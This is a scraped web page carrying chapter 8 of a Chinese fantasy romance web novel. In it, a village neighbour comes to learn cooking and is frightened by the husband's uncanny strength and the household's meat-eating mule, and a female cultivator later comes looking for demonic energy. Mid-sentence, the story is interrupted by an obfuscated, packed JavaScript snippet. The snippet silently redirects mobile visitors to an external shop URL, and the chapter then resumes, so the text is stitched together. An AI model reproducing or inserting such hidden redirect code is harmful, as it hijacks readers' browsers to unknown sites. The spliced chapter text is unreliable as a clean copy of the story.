文趣网 > 其他小说 > 真的只是平凡夫妇 > 8. 第 8 章
    这厮在说什么呢!

    崔白岁快速转身,捂住他的嘴:“别乱说话,仙门一直没抓到那个魔人,发了天罗令的,担心被人误会抓去。”

    宿雾冷淡的眉眼微弯,视线定在她身上,对于自小活在血雨腥风的杀手而言,她性子是软的,心子是软的,身体是软的,连担心也是软乎乎的。

    当下世道,这样软绵的人,是最容易死的。

    他又怎会放心丢下她一人,被所谓的仙门捉去。

    崔白岁没得到答复,仰头认真盯着他:“知道了吗?”

    宿雾随口应下:“好。”

    次日,在二大娘软磨硬泡下,崔白岁实在推脱不开,答应了她到家里学厨,而且时间约在了四日后。

    崔白岁小算盘打得噼啪响,这是个讲究的时间。隔了几天,不会太过频繁打扰宿雾,还过了行房事的日子,宿雾那恶劣的性子好歹会收一收。

    很快到了约定的日子。

    魔头不知是日渐认命,还是无力吐泥了,这段时间,青玉平台上的黑泥少了许多,反正四下无人,崔白岁又提前下班了。

    回到院门外,就听见二大娘叫她。

    这仿佛已经成了二大娘一家的特色,每个人每一次都在同一位置出现,连叫她的语气都差不多。

    她很享受这样的时刻,日子就这样,每一日所经历的都大差不差,知足常乐。

    双方成功会师,崔白岁把人带进院子里。

    “唉哟。”

    二大娘甫一进院子,就低声惊呼,崔白岁闻声转头:“嗯?”

    “你家男人这是在?”

    崔白岁看向院中的宿雾。

    宿雾在厨房左侧屋檐下,脚边落着不少碎木屑,墙根上还堆着整齐的柴火。

    “劈柴啊。”

    崔白岁不解地看向二大娘,劈柴有什么奇怪的?

    二大娘意会崔白岁眼神,回敬她一个:这不奇怪吗?!

    “咔咔——”

    木柴分裂的声音再度传来,在二大娘见鬼了的目光下,宿雾双手成爪,抓着大腿粗的木头一端,慢条斯理一拉,便轻易裂成两半。

    崔白岁没理解二大娘的目光,只是笑着朝宿雾走去:“夫君,二大娘过来了。”

    “小心木屑,”宿雾说着,朝二大娘点头:“我已备好柴火。”

    二大娘吞咽一口唾沫,早就听崔娘子说过,她夫君的力气很大,如今才意识到这个“大”,到底有多大。

    二大娘自诩胆子不小,此时却无端紧张起来,双手紧紧交握在身前,朝两人走去。

    宿雾转身进厨房,余光扫到门框一侧,那处有一铜钉略微凸起了。

    崔白岁皮肤娇嫩,稍硬一点的东西都能出红痕,甚至会划破,这铜钉自然不能放任,于是他随手一按。

    二大娘跟在两人身后,自然察觉宿雾的动作,进门时垂眼看去。

    娘耶!!

    怎么连钉子都能徒手按进去??

    那处甚至像被重锤砸过一般,还留了凹陷!

    二大娘不动声色地看着面前两人,男人虽体弱消瘦,但身高肩宽,崔白岁只比男人肩头高一些,整体来看,男人体型竟比崔白岁大了整整一圈。

    若是压到身下,可以轻松遮得严严实实的那种,若是两人那活差距也这般大……难怪崔娘子说自己吃不消。

    二大娘暗吸口气,本以为她只是夸大,想不到是纪实啊。

    因着二大娘是专程来学厨的,宿雾提前备了食材,这一次打算做比较日常的红烧肉。

    起锅烧火,灶膛里的火舌舔着锅底,铁锅渐渐烧热。

    二大娘心想,劈木柴,按铜钉,其实普通人也能做到,只是麻烦些,需要工具,哪有老刘说得那样夸张,说什么像是进了魔巢一样……

    才在心里臭骂老伴几句,就听见宿雾说:“你碰一下,锅底大概这般温度,便可以抹油。”

    什么?

    二大娘仿佛听不懂话一般,看着昏暗光线里的男人。

    几秒后,她低头看那烧得滚烫的锅底,居然按着一根修长白皙的手指!

    指腹的肉也是也是肉啊,也会被烫熟的!

    眼见温度差得愈发远了,若再不探,做出来味道会变差。

    宿雾耐心逐渐丧失,面无表情看着满脸不可置信的老妇人,眼珠子漆黑,看得人心惊胆战。

    二大娘浑身一抖,被吓得就要把手往里按。

    与此同时,一侧伸出一只柔夷,抓回了她的手。

    “夫君,不是每个人都像你那么耐烫,忽略这一步骤吧。”

    宿雾收回视线:“嗯,不过不细致控温,味道会差很远。”

    二大娘腿都软了,连忙道:“没事没事,我学个囫囵就好。”

    直到上了饭桌,一身平和温文气息的崔白岁,以及鲜美无比的美食,才把二大娘的千疮百孔的胆子补好。

    吃完,她还把所有剩菜,无论荤素,都打包带回去。

    宿雾收拾碗筷,崔白岁则把二大娘往门外送。

    天色已黑,院中几盏灯笼亮着微弱的光,二大娘快步往外走,突然听见细碎的“咔嚓咔嚓”声。

    循声看去,草棚光线昏暗,略显壮硕的骡子两腮的肌肉一鼓一瘪,正在用餐。

    奇怪,骡子吃草怎么是这样的动静?

    二大娘停住脚步,骡子恰好把口里的食物嚼完,又低头往石槽里咬起一块。

    娘耶!!!!

    这吃素的骡子,怎么到了崔娘子家,吃起血淋淋的生肉来了?!

    崔白岁发现人没跟上来,回头便看见二大娘面色惊惧,手指颤抖着,指着她的骡子。

    吓到人了,自然要解释一番,她温声道:“我家骡子天天陪我去上班,被镇勿陵魔气影响得有些变异,所以体型有些大。”

    大不是问题,问题是……

    “它在吃肉,它是头吃肉的骡子啊!!”

    “是啊,我夫君打猎的,喂肉比喂草方便。”

    二大娘也是个见过世面的,嗅到赚钱的机会,很快就冷静下来,心不颤了,腿不抖了,连人也精神多了。

    “若是缺草,我可以让我儿子每天割一些给你,按惯例价格来就行。”

    崔白岁温和笑道:“可我家骡子现在不吃草了。”

    二大娘默了一瞬,道:“妹子,你听大娘一句劝,这动物变异后,可是六亲不认的,你还是小心些。”

    崔白岁垂眼:“我知道了。”

    二大娘暗叹了口气。

    这崔娘子真是命运多舛。她爹娘老来得女,疼她跟疼眼珠子似的,养得比镇上大小姐还矜贵,多么天真烂漫啊。

    可一年前双亲被魔物咬死,崔娘子一个不到二十年华的孤女,为了葬双亲,自愿签了三年死契去那危险的镇勿陵守陵。

    后她又被吓得神志不清,形状疯癫,好不容易缓过来,赘了夫君,日子一天天好起来了,又被魔息困扰。

    崔白岁不知二大娘千回百转地感叹着她可怜身世,只见她一脸愁容,道是胆小如鼠的她被吓着了,目带怜意地看着她。

    二大娘也目带怜意看过来。

    视线一撞,尴尬顿生。

    二大娘收回视线,往院门走,没话找话:“你夫君怎么力气这么大啊,也不怕钉子,不怕烫的。”

    “他早年在仙门里跟师修行过一段时间,学了些皮毛,只是资质不行,被赶下山了。”

    “这样啊,难怪嘞……”

    把人送出院门后,崔白岁回到厅里,宿雾已把一切都收拾妥当,这人做事看起来不紧不慢的,可效率高得离谱。

    经过上一次的教训,关于奖励之事,崔白岁决定这一次,一定要掌握主动权!

    于是气势十足地出了门,朝厨房走去。

    她踏入厨房时,宿雾刚收拾好厨房,正用白棉布擦手上水渍。

    见人朝他快步走去,伸手护着:“别急,厨房物杂,当心绊倒。”

    崔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563684|204636||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    白岁不理他的话,抬手一把揪住男人衣领,一扯,把他拉下来,仰头吻了上去。

    担心被抢夺先机,甚至按住宿雾的弯下的后脖,撬开唇齿,深吻了进去。

    像个小鹿在推挤沉睡的老虎,自以为很霸道,很大胆了,实际在老虎眼里,只不过是小心翼翼的试探。

    崔白岁卷过他的柔软唇舌,然后……迷茫了。

    下一步该怎么做来着?

    两人成亲满打满算也才二月有余,崔白岁心思保守,几乎次次都是宿雾主动,现在宿雾任她作为,反而给她整不会了……

    吸吮的动作逐渐放缓,直到停下。

    够了吧。

    嗯,奖励已送达。

    崔白岁动作迟疑,松开男人脖子上的手,打算退开。

    下一刻,后脑却被牢牢扣住,宿雾搂着她的腰身贴近自己,低头重新加深了这个吻。

    唇舌激烈勾缠,鼻尖相触,喘息声杂乱地混在一起,安静的空间里,甚至响起了令人面红耳赤的水声。

    崔白岁觉得自己有些不太正常了。

    她清晰地意识到自己的无声的放纵,喘息心跳在耳中无限放大,一点点蚕食她的理智,她正义无反顾,且心甘情愿地被他拖入沉迷的深渊。

    ……

    二大娘是个闲事篓子,是村里的八卦一姐,是情报中心本部,村里关于崔家那两口子的私密事,由男方不行,版本迭代成了女方不行。

    另外,神秘的院子情况也有所更新,从村里第一豪宅,变作了头号鬼宅,里头表面看着正常,待久了便会觉得阴森可怖。

    于是崔白岁从全村首富,变成了村尾鬼妇。

    嚼完舌根当晚,二大娘就做噩梦了,梦见崔白岁眼冒红光,指使那长满獠牙的骡子追杀她,把她吓得浑身汗,啊地一声,猛地睁开眼。

    一侧的老刘被她吵醒,不满道:“大半夜的,鬼哭狼嚎什么!”

    二大娘哆哆嗦嗦把梦说出来,听完,老刘伸手搂住她:“我就说那宅子古怪吧,你还不信!我在,别怕,快睡吧。”

    又过了几日,二大娘歇假在家,看见崔白岁门前站着个人。

    她假装不经意经过,余光窥探,这年轻女子一袭碧青纱衣,身子弱柳扶风,容貌昳丽,长得跟仙女似的,巴掌大的小脸严肃起来,生动美丽。

    两人对上视线,二大娘弯着腰恭敬问道:“仙人有什么事吗?”

    苏妙菱最看不起这样的粗鄙妇人,盛气凌人道:“说吧,见着什么奇怪的人没?”

    二大娘笑得谄媚:“唉哟,说起奇怪倒有一户人家,就是你前面这一户,她吧,在那处干事,就镇勿陵那鬼地方,你知道的吧,听说身上还染了魔息呢?”

    “她相公本来就胎里弱,被她那身魔息一熏,前阵子还差点病死了。”

    “好在有个仙人给了一剂药方,勉强救活了,瞧着身子也不大利索,指不定……唉,就可怜了那小娘子……”

    苏妙菱重伤刚痊愈,被她声音呱噪得脑袋泛疼:“行了行了,啰嗦!”

    偏生这农妇张嘴就是闭不上,又叨叨:“我儿子娶妻还缺钱呢,你快去抓他们,然后给我发赏钱……”

    苏妙菱简直忍耐到了极限,用力捏着手里罗盘,指节泛白。

    通过罗盘指引,她跟着魔息寻到此处,想不到是守陵那女人的家。本来想着等人回来盘问一番魔息之事,以及她到底对师兄做了什么。

    可这粗鄙妇人实在烦人!

    若是不走,恐怕还得被她烦着,苏妙菱气得呼出一口浊气,拂袖扭头,直接御剑飞走。

    待人走了,二大娘屋里走出一个年轻人:“娘,你这么说崔家娘子,也太过分了。”

    “你懂什么,最近天罗令一发,修者瞧着哪个不顺眼的,抓去把人折腾死了,找谁说理去?”

    “你是说你故意激那修者……”

    “别瞎掺和!你父亲老了,你可要懂事撑起这个家了,看来,这一片要不太平喽。”